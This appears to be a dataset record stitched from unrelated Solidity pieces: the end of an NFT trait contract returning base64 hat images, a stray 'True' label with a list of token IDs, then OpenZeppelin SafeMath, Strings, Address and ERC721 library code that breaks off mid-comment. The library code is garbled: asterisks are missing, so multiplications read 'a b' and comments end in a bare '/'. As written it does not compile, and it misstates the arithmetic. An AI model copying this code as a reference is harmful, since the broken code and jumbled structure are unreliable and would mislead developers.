Hat","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAFVBMVEVHcEwAAADagQT/lQDsiwP15M33oimbFkBGAAAAAXRSTlMAQObYZgAAAFtJREFUKM9jYMAFGAUFBVAEBIWNnAMFkQVUjI2MzVIRqhhdnI1VjI3NAuEiQk5gEWNjuCIhIBcsAlMkqAQHUAuFlFRcgMAZpMoQbC5cBVDCEeo4BBBgGAWDGQAAVYAPRcTic3MAAAAASUVORK5CYII="]; if (traitId_ == 9) return ["Straw Hat","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAHlBMVEVHcEwAAADUwij/AADAryKvoSWuBATQBweklymUBATMbxTWAAAAAXRSTlMAQObYZgAAAFBJREFUKM9jYMAFBAUFUfiMgkpKSoICSAIiTkARJUWEkGiIEhgowpW0ujhBhAQQpsIAVEQyLb3cGAwMYRYhgADUmFAXFxeEQcgqEKpGwSAFALvUDPUwnpqIAAAAAElFTkSuQmCC"]; if (traitId_ == 10) return ["Head Mirror","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAFVBMVEVHcEwAAADd9/TR8u1WVla+3tr///9eHjyQAAAAAXRSTlMAQObYZgAAAE5JREFUKM9jYCAJCAqiCTAqqQmgiggpqSWiKglWUkoTQBVRFFKCiTAKgkCwohJcRMQFCBxDjY2VBOHWgoBosLKiIKpBxsYChFw4CgYaAABTtwg7ucdTMAAAAABJRU5ErkJggg=="]; if (traitId_ == 11) return ["Propeller Hat","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAALVBMVEVHcEwAAAAAkf//2QD/DQBV/wDwDwMDjPRJygjgvwYFhOPpxwXxzgbgEAQ+rwZcEysGAAAAAXRSTlMAQObYZgAAAF5JREFUKM9jYMAOGAXBAE0QmxoBJAHRYGMjJRVHhJBE6GSgiJJLIlxJa6SxsVGRkoubAFzJbGNj8yIlFZgixhcgEatyoLZcAahI5+w9Z6xWFSmlwUQEEUCAYRQMagAAs48U2l8cSMAAAAAASUVORK5CYII="]; if (traitId_ == 12) return ["Green Beanie","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcEwTjw0AAAAQqwgqORpWAAAAAXRSTlMAQObYZgAAAEJJREFUGNNjYCAAmFatWgFhad4tv9cAZm0vv/v9AVjyfvn92hsgFnft9/u130As1VAQACnUvQsCIJbWKhBoYBgZAAB4lhthdWriogAAAABJRU5ErkJggg=="]; if (traitId_ == 13) return ["Blue Bandana","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcEwWbbUSYKFTZGqGAAAAAXRSTlMAQObYZgAAAD9JREFUGNNjYCAEtFatgDCYpoaGNYBZnKGhoQlgliqQFQGk2ZiWQlmcs1atmhq1CiQpAdS8AKwzAWYYF8MIAADVng0FSLV2IQAAAABJRU5ErkJggg=="]; if (traitId_ == 14) return ["Grey Beanie","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcExqamp6enoAAACxT+7nAAAAAXRSTlMAQObYZgAAAEJJREFUGNNjYCAAmP///wNh2c5Mm30AzHqWNnPZBrDkrLRZmXNALL7MZbMyl4NYpqEgAFJoORMEQCz7/yBwgGFkAAC3uhrH08ZcGwAAAABJRU5ErkJggg=="]; if (traitId_ == 15) return ["Green Bandana","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcExatRZPoRIpSJs4AAAAAXRSTlMAQObYZgAAAD9JREFUGNNjYCAEtFatgDCYpoaGNYBZnKGhoQlgliqQFQGk2ZiWQlmcs1atmhq1CiQpAdS8AKwzAWYYF8MIAADVng0FSLV2IQAAAABJRU5ErkJggg=="]; if (traitId_ == 16) return ["Afro","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAQMAAAAAiZmBAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAABlBMVEVHcEwAAACfKoRRAAAAAXRSTlMAQObYZgAAAE5JREFUCNelxLEJg0AABdAHgVRHHMFNvNEuo2WUG+FKC/FbiEFImVc8aj5oGTySjSnZma9Dvd3O99LIaiHD63v3JF0hHbYOKxg/v2//7QC84C8qK5nK1gAAAABJRU5ErkJggg=="]; if (traitId_ == 17) return ["Yellow Bandana","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcEy1khahghKgbkuwAAAAAXRSTlMAQObYZgAAAD9JREFUGNNjYCAEtFatgDCYpoaGNYBZnKGhoQlgliqQFQGk2ZiWQlmcs1atmhq1CiQpAdS8AKwzAWYYF8MIAADVng0FSLV2IQAAAABJRU5ErkJggg=="]; if (traitId_ == 18) return ["Flat Top","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAQMAAAAAiZmBAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAABlBMVEVHcEwAAACfKoRRAAAAAXRSTlMAQObYZgAAAD5JREFUCNdjYIAA9v8PgKQ8mLQHk/X/PwDJ/yCSEUb+YGBg/iO/A0g+YOYAajoA1gom+R8gSB4wyaHAQF8AALJMGImRZHbGAAAAAElFTkSuQmCC"]; if (traitId_ == 19) return ["Purple Bandana","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcEx1FrVnEqEcNXdjAAAAAXRSTlMAQObYZgAAAD9JREFUGNNjYCAEtFatgDCYpoaGNYBZnKGhoQlgliqQFQGk2ZiWQlmcs1atmhq1CiQpAdS8AKwzAWYYF8MIAADVng0FSLV2IQAAAABJRU5ErkJggg=="]; if (traitId_ == 20) return ["Orange Beanie","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcEzVhRQAAAD/mgzh7PF3AAAAAXRSTlMAQObYZgAAAEJJREFUGNNjYCAAmFatWgFhad4tv9cAZm0vv/v9AVjyfvn92hsgFnft9/u130As1VAQACnUvQsCIJbWKhBoYBgZAAB4lhthdWriogAAAABJRU5ErkJggg=="]; if (traitId_ == 21) return ["Blue Beanie","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcEwHT7UAAAAAWtlSfN4VAAAAAXRSTlMAQObYZgAAAEJJREFUGNNjYCAAmFatWgFhad4tv9cAZm0vv/v9AVjyfvn92hsgFnft9/u130As1VAQACnUvQsCIJbWKhBoYBgZAAB4lhthdWriogAAAABJRU5ErkJggg=="]; if (traitId_ == 22) return ["Mohawk","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAQMAAAAAiZmBAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAABlBMVEVHcEwAAACfKoRRAAAAAXRSTlMAQObYZgAAACFJREFUCNdjYIACZjDJDybrQQTjf7AwmGSQA5M8DIMaAADhJAK+ZSrrIAAAAABJRU5ErkJggg=="]; if (traitId_ == 23) return ["Hidden","iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVQYV2NgYAAAAAMAAWgmWQ0AAAAASUVORK5CYII="]; return ["",""]; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 3206, 11046, 12707, 2015, 1063, 3853, 1043, 1035, 16717, 1006, 21318, 3372, 16703, 18275, 3593, 1035, 1007, 2270, 5760, 5651, 1006, 5164, 1031, 1016, 1033, 3638, 1007, 1063, 2065, 1006, 18275, 3593, 1035, 1027, 1027, 1014, 1007, 2709, 1031, 1000, 11893, 29586, 1000, 1010, 1000, 4921, 12821, 2860, 2692, 2243, 13871, 10441, 11057, 6962, 27225, 13765, 3654, 11057, 7405, 11057, 27131, 21693, 11057, 7875, 2232, 7520, 2527, 11057, 7875, 2290, 18939, 8525, 5243, 2389, 21600, 2278, 1013, 1060, 2232, 2497, 19062, 11057, 10354, 9759, 2243, 16409, 4817, 2581, 11631, 12352, 11057, 10936, 24844, 25688, 2546, 2078, 2615, 2480, 16118, 2509, 17275, 3501, 2721, 12879, 2243, 2497, 2475, 3501, 8751, 24228, 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/** Submitted for verification at Etherscan.io on 2021-06-27 / // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom(address from, address to, uint256 tokenId) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom(address from, address to, uint256 tokenId) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev 